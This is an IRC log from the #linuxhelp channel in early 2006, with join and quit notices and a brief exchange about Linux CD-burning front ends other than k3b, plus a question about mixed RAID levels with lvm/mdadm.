(n=alunduil@199.17.112.1) left irc: Read error: 110 (Connection timed out) [21:49] alunduil (n=alunduil@199.17.112.1) joined #linuxhelp. [21:54] ugarit (n=ugarit@208-59-114-73.c3-0.129-ubr3.lnh-129.md.cable.rcn.com) joined #linuxhelp. [21:58] what apps can burn anm image ... besides k3b? [21:59] cdrecord and cdrdao [22:00] frontend :( [22:00] heh [22:00] kde or gnome? [22:01] nope...just ol fluxbox [22:01] might give graveman a whirl [22:01] bashburn [22:03] looking at graveman. dont see option to create bootable image [22:03] _SiegeX (i=1000@adsl-67-116-238-38.dsl.pltn13.pacbell.net) joined #linuxhelp. [22:03] burncenter is another ncurses front end.. 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[23:44] wildwrk (n=jawildma@65.43.29.90) joined #linuxhelp. [23:45] Fut (n=Fut@adsl-75-10-111-65.dsl.frs2ca.sbcglobal.net) left irc: Client Quit [23:47] jjones (n=jimbo@216-51-178.7001.adsl.tele2.no) joined #linuxhelp. [23:48] anyone know if lvm/mdadm supports multiple raid levels on the same disk span? [23:50] Roomster (i=romster@gateway/tor/x-a3d83e15bd491073) left irc: Remote closed the connection [23:51] Roomster (i=romster@gateway/tor/x-280498f3797100d6) joined #linuxhelp. [23:51] iratsu (n=iratsu@modemcable157.255-37-24.mc.videotron.ca) left irc: Connection timed out [23:52] Nick change: amrit|bbl -> amrit [23:52] iratsu (n=iratsu@modemcable157.255-37-24.mc.videotron.ca) joined #linuxhelp. [00:00] --- Wed Jan 4 2006